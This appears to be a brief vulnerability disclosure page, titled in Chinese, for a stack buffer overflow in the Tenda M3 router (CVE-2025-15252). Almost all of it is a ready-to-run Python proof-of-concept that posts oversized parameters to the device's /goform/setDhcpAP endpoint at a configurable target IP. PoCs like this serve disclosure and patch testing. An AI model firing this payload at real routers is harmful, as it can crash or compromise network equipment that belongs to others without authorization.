CVE-2025-15252 Tenda M3 栈缓冲区溢出漏洞

import requests # CVE-2025-15252 PoC - Tenda M3 Buffer Overflow # Target: Tenda M3 1.0.0.13(4903) # Endpoint: /goform/setDhcpAP target_ip = "192.168.0.1" # Replace with target IP url = f"http://{target_ip}/goform/setDhcpAP" # Generate payload with oversized parameters to trigger buffer overflow # Overflow occurs when parameter length exceeds stack buffer size payload = { "startip": "A" * 1000, # Overflow payload "endip": "B" * 1000, "leasetime": "C" * 1000, "gateway": "D" * 1000, "dns1": "E" * 1000, "dns2": "F" * 1000 } try: response = requests.post(url, data=payload, timeout=5) print(f"Response Status: {response.status_code}") print(f"Response Body: {response.text}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}")